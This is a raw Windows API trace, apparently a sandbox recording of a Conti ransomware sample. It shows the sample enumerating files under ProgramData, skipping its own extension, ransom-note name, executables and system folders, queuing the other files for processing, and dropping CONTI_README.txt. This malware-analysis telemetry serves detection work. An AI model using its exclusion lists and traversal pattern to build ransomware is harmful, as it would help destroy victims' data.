	[0098.325] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.325] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.325] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.325] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2=".") returned 1
	[0098.325] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2="..") returned 1
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.325] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.325] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned 82
	[0098.325] lstrlenW (lpString="MasterDescriptor.x-none.xml") returned 27
	[0098.325] GetProcessHeap () returned 0x1720000
	[0098.325] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17cb1c0
	[0098.325] lstrcpyW (in: lpString1=0x17cb1c0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.325] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\"
	[0098.326] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\", lpString2="MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.326] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8d78) returned 1
	[0098.326] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1
	[0098.326] lstrcmpiW (lpString1="s640.hash", lpString2=".") returned 1
	[0098.326] lstrcmpiW (lpString1="s640.hash", lpString2="..") returned 1
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".exe") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".dll") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".lnk") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".sys") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.326] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.326] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned 82
	[0098.326] lstrlenW (lpString="s640.hash") returned 9
	[0098.326] GetProcessHeap () returned 0x1720000
	[0098.326] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cba80
	[0098.326] lstrcpyW (in: lpString1=0x17cba80, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.326] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\"
	[0098.326] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\", lpString2="s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash"
	[0098.326] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9208) returned 1
	[0098.326] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.326] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2=".") returned 1
	[0098.326] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2="..") returned 1
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".exe") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".dll") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".lnk") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".sys") returned 0x0
	[0098.326] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.327] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.327] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned 82
	[0098.327] lstrlenW (lpString="stream.x64.x-none.man.dat") returned 25
	[0098.327] GetProcessHeap () returned 0x1720000
	[0098.327] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17cb2a8
	[0098.327] lstrcpyW (in: lpString1=0x17cb2a8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.327] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\"
	[0098.327] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\", lpString2="stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat"
	[0098.327] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9450) returned 1
	[0098.327] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.327] GetProcessHeap () returned 0x1720000
	[0098.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0098.327] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0098.327] GetProcessHeap () returned 0x1720000
	[0098.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.327] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0098.327] GetProcessHeap () returned 0x1720000
	[0098.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fcf0 | out: hHeap=0x1720000) returned 1
	[0098.327] FindClose (in: hFindFile=0x17c7e70 | out: hFindFile=0x17c7e70) returned 1
	[0098.327] GetProcessHeap () returned 0x1720000
	[0098.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17400b0 | out: hHeap=0x1720000) returned 1
	[0098.327] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e63a786, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e63a786, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.327] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.327] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.327] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.327] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.327] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0098.327] lstrcmpiW (lpString1="DeploymentConfig.0.xml", lpString2=".") returned 1
	[0098.328] lstrcmpiW (lpString1="DeploymentConfig.0.xml", lpString2="..") returned 1
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".CONTI") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".exe") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".dll") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".lnk") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".sys") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch=".CONTI") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.0.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.328] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.328] lstrlenW (lpString="DeploymentConfig.0.xml") returned 22
	[0098.328] GetProcessHeap () returned 0x1720000
	[0098.328] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17e3e58
	[0098.328] lstrcpyW (in: lpString1=0x17e3e58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.328] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.328] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.0.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml"
	[0098.328] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8210) returned 1
	[0098.328] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1
	[0098.328] lstrcmpiW (lpString1="DeploymentConfig.1.xml", lpString2=".") returned 1
	[0098.328] lstrcmpiW (lpString1="DeploymentConfig.1.xml", lpString2="..") returned 1
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".CONTI") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".exe") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".dll") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".lnk") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".sys") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch=".CONTI") returned 0x0
	[0098.328] StrStrIW (lpFirst="DeploymentConfig.1.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.328] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.328] lstrlenW (lpString="DeploymentConfig.1.xml") returned 22
	[0098.328] GetProcessHeap () returned 0x1720000
	[0098.328] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17e3f58
	[0098.328] lstrcpyW (in: lpString1=0x17e3f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.329] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.329] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.1.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml"
	[0098.329] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8458) returned 1
	[0098.329] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1
	[0098.329] lstrcmpiW (lpString1="DeploymentConfig.2.xml", lpString2=".") returned 1
	[0098.329] lstrcmpiW (lpString1="DeploymentConfig.2.xml", lpString2="..") returned 1
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".CONTI") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".exe") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".dll") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".lnk") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".sys") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch=".CONTI") returned 0x0
	[0098.329] StrStrIW (lpFirst="DeploymentConfig.2.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.329] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.329] lstrlenW (lpString="DeploymentConfig.2.xml") returned 22
	[0098.329] GetProcessHeap () returned 0x1720000
	[0098.329] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17e4158
	[0098.329] lstrcpyW (in: lpString1=0x17e4158, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.329] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.329] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.2.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml"
	[0098.329] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e86a0) returned 1
	[0098.329] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2=".") returned 1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="..") returned 1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="tmp") returned -1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="winnt") returned -1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="Application Data") returned 1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="AppData") returned 1
	[0098.329] lstrcmpiW (lpString1="MachineData", lpString2="temp") returned -1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="thumb") returned -1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="$Recycle.Bin") returned 1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="$RECYCLE.BIN") returned 1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="System Volume Information") returned -1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="Program Files") returned -1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="Program Files (x86)") returned -1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="Boot") returned 1
	[0098.330] lstrcmpiW (lpString1="MachineData", lpString2="Windows") returned -1
	[0098.330] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.330] lstrlenW (lpString="MachineData") returned 11
	[0098.330] GetProcessHeap () returned 0x1720000
	[0098.330] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0a58
	[0098.330] lstrcpyW (in: lpString1=0x17c0a58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.330] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.330] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="MachineData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0098.330] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned 47
	[0098.330] GetProcessHeap () returned 0x1720000
	[0098.330] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1740d50
	[0098.330] lstrcpyW (in: lpString1=0x1740d50, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0098.330] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*"
	[0098.330] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned 47
	[0098.330] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.330] GetProcessHeap () returned 0x1720000
	[0098.330] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17c6f28
	[0098.330] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0098.330] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\"
	[0098.330] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\CONTI_README.txt"
	[0098.330] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.331] GetProcessHeap () returned 0x1720000
	[0098.331] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0098.331] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.331] CloseHandle (hObject=0x384) returned 1
